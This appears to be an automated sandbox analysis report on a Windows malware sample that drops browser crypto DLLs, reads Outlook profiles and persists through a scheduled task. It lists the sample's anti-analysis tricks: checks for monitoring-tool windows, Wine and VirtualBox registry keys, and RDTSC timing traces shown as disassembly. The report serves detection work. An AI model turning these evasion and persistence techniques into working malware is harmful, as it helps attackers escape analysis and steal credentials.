Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1824256 > 1048576

Source: file.exe

Static PE information: Raw size of rahtodek is bigger than: 0x100000 < 0x1a3800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2035299323.000000006FE8D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2035299323.000000006FE8D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.200000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rahtodek:EW;ntsegpdw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rahtodek:EW;ntsegpdw:EW;.taggant:EW;
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Unpacked PE file: 23.2.DocumentsEHJKJDGCGD.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;eiflycbf:EW;qjxsgmsm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;eiflycbf:EW;qjxsgmsm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.330000.0.unpack :EW;.rsrc:W;.idata :W; :EW;eiflycbf:EW;qjxsgmsm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;eiflycbf:EW;qjxsgmsm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.330000.0.unpack :EW;.rsrc:W;.idata :W; :EW;eiflycbf:EW;qjxsgmsm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;eiflycbf:EW;qjxsgmsm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.330000.0.unpack :EW;.rsrc:W;.idata :W; :EW;eiflycbf:EW;qjxsgmsm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;eiflycbf:EW;qjxsgmsm:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 7b950b2da4.exe.28.dr	Static PE information: real checksum: 0x432aed should be: 0x435761
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: real checksum: 0x1d7f54 should be: 0x1e1aba
Source: file.exe	Static PE information: real checksum: 0x1c950d should be: 0x1c8be5
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x432aed should be: 0x435761
Source: skotes.exe.23.dr	Static PE information: real checksum: 0x1d7f54 should be: 0x1e1aba

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: rahtodek
Source: file.exe	Static PE information: section name: ntsegpdw
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: section name:
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: section name:
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: section name: eiflycbf
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: section name: qjxsgmsm
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: section name: .taggant
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: syrofzst
Source: random[1].exe.0.dr	Static PE information: section name: weyqvzlj
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: eiflycbf
Source: skotes.exe.23.dr	Static PE information: section name: qjxsgmsm
Source: skotes.exe.23.dr	Static PE information: section name: .taggant
Source: 7b950b2da4.exe.28.dr	Static PE information: section name:
Source: 7b950b2da4.exe.28.dr	Static PE information: section name: .rsrc
Source: 7b950b2da4.exe.28.dr	Static PE information: section name: .idata
Source: 7b950b2da4.exe.28.dr	Static PE information: section name:
Source: 7b950b2da4.exe.28.dr	Static PE information: section name: syrofzst
Source: 7b950b2da4.exe.28.dr	Static PE information: section name: weyqvzlj
Source: 7b950b2da4.exe.28.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 28_2_0034D91C push ecx; ret

28_2_0034D92F

Source: file.exe	Static PE information: section name: rahtodek entropy: 7.954702091360717
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: section name: entropy: 7.984714923401158
Source: DocumentsEHJKJDGCGD.exe.0.dr	Static PE information: section name: eiflycbf entropy: 7.9547056330536305
Source: random[1].exe.0.dr	Static PE information: section name: syrofzst entropy: 7.955745613857374
Source: skotes.exe.23.dr	Static PE information: section name: entropy: 7.984714923401158
Source: skotes.exe.23.dr	Static PE information: section name: eiflycbf entropy: 7.9547056330536305
Source: 7b950b2da4.exe.28.dr	Static PE information: section name: syrofzst entropy: 7.955745613857374

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsEHJKJDGCGD.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsEHJKJDGCGD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsEHJKJDGCGD.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsEHJKJDGCGD.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsEHJKJDGCGD.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44FD31 second address: 44FD37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44FD37 second address: 44FD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44FD3B second address: 44FD3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF780 second address: 5CF78B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF78B second address: 5CF791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF791 second address: 5CF79B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9324C341C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE7C8 second address: 5CE7CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEBB0 second address: 5CEBC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F9324C341C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEBC5 second address: 5CEBCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEBCB second address: 5CEBEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 je 00007F9324C341E5h 0x0000000c pushad 0x0000000d jmp 00007F9324C341D5h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0950 second address: 5D0969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0969 second address: 44FD31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xor dword ptr [esp], 04AF0E7Ch 0x0000000d mov edi, dword ptr [ebp+122D391Ah] 0x00000013 push dword ptr [ebp+122D01ADh] 0x00000019 mov ecx, 1ABC852Dh 0x0000001e call dword ptr [ebp+122D18EBh] 0x00000024 pushad 0x00000025 mov dword ptr [ebp+122D3669h], ebx 0x0000002b xor eax, eax 0x0000002d or dword ptr [ebp+122D18D7h], edx 0x00000033 add dword ptr [ebp+122D18D7h], esi 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d sub dword ptr [ebp+122D19B6h], ebx 0x00000043 mov dword ptr [ebp+122D3ACEh], eax 0x00000049 clc 0x0000004a mov esi, 0000003Ch 0x0000004f jmp 00007F9324C341D2h 0x00000054 cmc 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 sub dword ptr [ebp+122D18D7h], eax 0x0000005f lodsw 0x00000061 jnc 00007F9324C341CCh 0x00000067 jng 00007F9324C341CCh 0x0000006d add eax, dword ptr [esp+24h] 0x00000071 add dword ptr [ebp+122D38D3h], edi 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b pushad 0x0000007c mov edx, dword ptr [ebp+122D3AEEh] 0x00000082 movsx esi, ax 0x00000085 popad 0x00000086 push eax 0x00000087 push eax 0x00000088 push edx 0x00000089 push ebx 0x0000008a pushad 0x0000008b popad 0x0000008c pop ebx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D09BB second address: 5D0A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a xor ah, FFFFFFD7h 0x0000000d or ebx, dword ptr [ebp+122D3906h] 0x00000013 popad 0x00000014 push 00000000h 0x00000016 mov dx, ax 0x00000019 push esi 0x0000001a sub edx, 5AEE7037h 0x00000020 pop esi 0x00000021 push CDA9B276h 0x00000026 push edi 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a jp 00007F93256ABCB6h 0x00000030 popad 0x00000031 pop edi 0x00000032 add dword ptr [esp], 32564E0Ah 0x00000039 movzx ecx, dx 0x0000003c push 00000003h 0x0000003e jo 00007F93256ABCC7h 0x00000044 jmp 00007F93256ABCC1h 0x00000049 push 00000000h 0x0000004b sub dword ptr [ebp+122D18F1h], edi 0x00000051 push 00000003h 0x00000053 add dword ptr [ebp+122D18FAh], ecx 0x00000059 call 00007F93256ABCB9h 0x0000005e jc 00007F93256ABCCFh 0x00000064 pushad 0x00000065 jnp 00007F93256ABCB6h 0x0000006b jmp 00007F93256ABCC1h 0x00000070 popad 0x00000071 push eax 0x00000072 push eax 0x00000073 jc 00007F93256ABCBCh 0x00000079 push eax 0x0000007a push edx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0A52 second address: 5D0ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jnp 00007F9324C341D9h 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 jmp 00007F9324C341CDh 0x00000017 jmp 00007F9324C341D7h 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push edi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F9324C341D7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0ABA second address: 5D0AFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pop eax 0x00000008 movsx edi, di 0x0000000b lea ebx, dword ptr [ebp+1245480Eh] 0x00000011 jnc 00007F93256ABCBCh 0x00000017 jc 00007F93256ABCBCh 0x0000001d sub dword ptr [ebp+122D35EAh], edi 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F93256ABCC6h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0AFC second address: 5D0B01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0BA9 second address: 5D0C0C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F93256ABCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b xor dword ptr [esp], 33DB8BD9h 0x00000012 mov dl, 51h 0x00000014 push 00000003h 0x00000016 mov edi, dword ptr [ebp+122D17B7h] 0x0000001c mov edx, dword ptr [ebp+122D3BB2h] 0x00000022 push 00000000h 0x00000024 xor cl, 0000003Dh 0x00000027 push 00000003h 0x00000029 pushad 0x0000002a mov eax, dword ptr [ebp+122D3926h] 0x00000030 sub dword ptr [ebp+122D18E4h], eax 0x00000036 popad 0x00000037 push EE9AE6EEh 0x0000003c push ecx 0x0000003d push esi 0x0000003e pushad 0x0000003f popad 0x00000040 pop esi 0x00000041 pop ecx 0x00000042 xor dword ptr [esp], 2E9AE6EEh 0x00000049 or dword ptr [ebp+122D38E9h], edx 0x0000004f lea ebx, dword ptr [ebp+12454817h] 0x00000055 or cl, 00000034h 0x00000058 sub dword ptr [ebp+122D18BDh], esi 0x0000005e xchg eax, ebx 0x0000005f pushad 0x00000060 push esi 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0C77 second address: 5D0CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ecx, dword ptr [ebp+122D3C42h] 0x00000011 mov esi, eax 0x00000013 push 00000000h 0x00000015 call 00007F9324C341CAh 0x0000001a stc 0x0000001b pop edx 0x0000001c call 00007F9324C341C9h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 jnl 00007F9324C341C6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0CAA second address: 5D0CEA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F93256ABCC0h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007F93256ABCBFh 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F93256ABCBEh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0CEA second address: 5D0D17 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F9324C341CCh 0x0000000c jl 00007F9324C341C6h 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 jns 00007F9324C341CEh 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0D17 second address: 5D0D1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
